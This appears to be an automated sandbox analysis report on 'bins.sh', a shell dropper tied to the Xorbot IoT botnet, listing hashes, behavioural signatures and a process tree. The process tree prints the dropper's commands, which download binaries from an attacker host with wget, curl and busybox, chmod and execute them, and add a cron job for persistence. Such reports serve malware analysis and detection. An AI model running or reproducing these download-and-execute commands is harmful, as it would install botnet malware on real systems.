Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240611-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    27/02/2025, 23:08

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    97fa31a6ea5fb450f4b293c1695590f1

  • SHA1

    159bd52d99913da9322c119a059d3a365e4df48b

  • SHA256

    2a07e23c43f86bb0d86fbcf7150800436a5a5eecc19df844a25f333103d680cb

  • SHA512

    398542cc05bbba61b049fac52ea0705164bc47b69c0416f5492e00af30a0c8135d4197475d051860d7d260a15e150b19afe7901b4fd8253c945f68d3ef2289a1

  • SSDEEP

    192:ky+S2qAgvmyXkoni6i8cBC+3IhdaP3TG/UDi8cBC+rAhdaP3eIDJMnAgvmyHkonQ:ky+S2qAgvmyXkoni6i8cBC+4hdaP3T2n

Malware Config

Signatures

  • Detects Xorbot 4 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • Contacts a large (1635) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 4 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 4 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 13 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 8 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
    • Executes dropped EXE
    PID:1504
    • /bin/rm
      /bin/rm bins.sh
      2⤵
        PID:1505
      • /usr/bin/wget
        wget http://conn.masjesu.zip/bins/Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:1506
      • /usr/bin/curl
        curl -O http://conn.masjesu.zip/bins/Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:1511
      • /bin/busybox
        /bin/busybox wget http://conn.masjesu.zip/bins/Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
        2⤵
        • System Network Configuration Discovery
        PID:1513
      • /bin/chmod
        chmod 777 Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
        2⤵
        • File and Directory Permissions Modification
        PID:1514
      • /tmp/Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
        ./Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
        2⤵
          PID:1515
        • /bin/rm
          rm Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
          2⤵
            PID:1517
          • /usr/bin/wget
            wget http://conn.masjesu.zip/bins/11CZ4J7HnT6Xb9qb6K36oBPwlOX5ZmESzN
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:1518
          • /usr/bin/curl
            curl -O http://conn.masjesu.zip/bins/11CZ4J7HnT6Xb9qb6K36oBPwlOX5ZmESzN
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:1519
          • /bin/busybox
            /bin/busybox wget http://conn.masjesu.zip/bins/11CZ4J7HnT6Xb9qb6K36oBPwlOX5ZmESzN
            2⤵
            • System Network Configuration Discovery
            PID:1521
          • /bin/chmod
            chmod 777 11CZ4J7HnT6Xb9qb6K36oBPwlOX5ZmESzN
            2⤵
            • File and Directory Permissions Modification
            PID:1522
          • /tmp/11CZ4J7HnT6Xb9qb6K36oBPwlOX5ZmESzN
            ./11CZ4J7HnT6Xb9qb6K36oBPwlOX5ZmESzN
            2⤵
              PID:1523
            • /bin/rm
              rm 11CZ4J7HnT6Xb9qb6K36oBPwlOX5ZmESzN
              2⤵
                PID:1525
              • /usr/bin/wget
                wget http://conn.masjesu.zip/bins/wNt667Db4S0sgUJP1g36lcnFnByIeFKjFE
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:1526
              • /usr/bin/curl
                curl -O http://conn.masjesu.zip/bins/wNt667Db4S0sgUJP1g36lcnFnByIeFKjFE
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:1527
              • /bin/busybox
                /bin/busybox wget http://conn.masjesu.zip/bins/wNt667Db4S0sgUJP1g36lcnFnByIeFKjFE
                2⤵
                • System Network Configuration Discovery
                PID:1529
              • /bin/chmod
                chmod 777 wNt667Db4S0sgUJP1g36lcnFnByIeFKjFE
                2⤵
                • File and Directory Permissions Modification
                PID:1530
              • /tmp/wNt667Db4S0sgUJP1g36lcnFnByIeFKjFE
                ./wNt667Db4S0sgUJP1g36lcnFnByIeFKjFE
                2⤵
                  PID:1531
                • /bin/rm
                  rm wNt667Db4S0sgUJP1g36lcnFnByIeFKjFE
                  2⤵
                    PID:1533
                  • /usr/bin/wget
                    wget http://conn.masjesu.zip/bins/vKsN87FfQlOiSr2whSMyQq3XNdvhS5rTX6
                    2⤵
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:1534
                  • /usr/bin/curl
                    curl -O http://conn.masjesu.zip/bins/vKsN87FfQlOiSr2whSMyQq3XNdvhS5rTX6
                    2⤵
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:1535
                  • /bin/busybox
                    /bin/busybox wget http://conn.masjesu.zip/bins/vKsN87FfQlOiSr2whSMyQq3XNdvhS5rTX6
                    2⤵
                    • System Network Configuration Discovery
                    PID:1539
                  • /bin/chmod
                    chmod 777 vKsN87FfQlOiSr2whSMyQq3XNdvhS5rTX6
                    2⤵
                    • File and Directory Permissions Modification
                    PID:1540
                  • /tmp/vKsN87FfQlOiSr2whSMyQq3XNdvhS5rTX6
                    ./vKsN87FfQlOiSr2whSMyQq3XNdvhS5rTX6
                    2⤵
                    • Renames itself
                    • Reads runtime system information
                    PID:1541
                    • /bin/sh
                      sh -c "crontab -l"
                      3⤵
                        PID:1543
                        • /usr/bin/crontab
                          crontab -l
                          4⤵
                            PID:1544
                        • /bin/sh
                          sh -c "crontab -"
                          3⤵
                            PID:1545
                            • /usr/bin/crontab
                              crontab -
                              4⤵
                              • Creates/modifies Cron job
                              PID:1546
                        • /bin/rm
                          rm vKsN87FfQlOiSr2whSMyQq3XNdvhS5rTX6
                          2⤵
                            PID:1548
                          • /usr/bin/wget
                            wget http://conn.masjesu.zip/bins/JVywqHuM3xJqkpfjh4oyy8DMsZNFcFHTBn
                            2⤵
                            • System Network Configuration Discovery
                            PID:1551

                        Network

                        MITRE ATT&CK Enterprise v15

                        Replay Monitor

                        Loading Replay Monitor...

                        Downloads

                        • /tmp/11CZ4J7HnT6Xb9qb6K36oBPwlOX5ZmESzN

                          Filesize

                          122KB

                          MD5

                          cd3d4b9c643e5b473fb4d88ed05f0716

                          SHA1

                          64ee7a97418583d759eaea8000890cc3bae1b5f4

                          SHA256

                          0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

                          SHA512

                          164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

                        • /tmp/Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT

                          Filesize

                          141KB

                          MD5

                          3ca8decdb1e52c423c521bfff02ac200

                          SHA1

                          8621ecd6807109b8541912ad9e134f6fb49bfd48

                          SHA256

                          dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

                          SHA512

                          b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

                        • /tmp/vKsN87FfQlOiSr2whSMyQq3XNdvhS5rTX6

                          Filesize

                          112KB

                          MD5

                          05d7857dcead18bbd86d2935f591873c

                          SHA1

                          34d18f41ef35f93d5364ce3e24d74730a4e91985

                          SHA256

                          2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                          SHA512

                          d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                        • /tmp/wNt667Db4S0sgUJP1g36lcnFnByIeFKjFE

                          Filesize

                          107KB

                          MD5

                          eb9c3a0de91fcf16ba17cb24608df68c

                          SHA1

                          09d95a7d70d5e115d103be51edff7c498d272fac

                          SHA256

                          dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

                          SHA512

                          9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

                        • /var/spool/cron/crontabs/tmp.S94eun

                          Filesize

                          210B

                          MD5

                          ac084fee5256b54c215ff76641eb1dfd

                          SHA1

                          1eaaa7b49723f5e4b0be882887cdbc7f2c281801

                          SHA256

                          4149f05489d1d38f9112b8aa354e973b50a650f8f8f5a119f265d68f61cce310

                          SHA512

                          bb46539dafe4f40ee0485fbcdb7cd2a7bfa9df2e4e93e3b5ea224f0fbfcf3ef296cfe742d63ee9ffe6be9f6c89c1f704792894ee1aeb935f66abd2a03a229ef9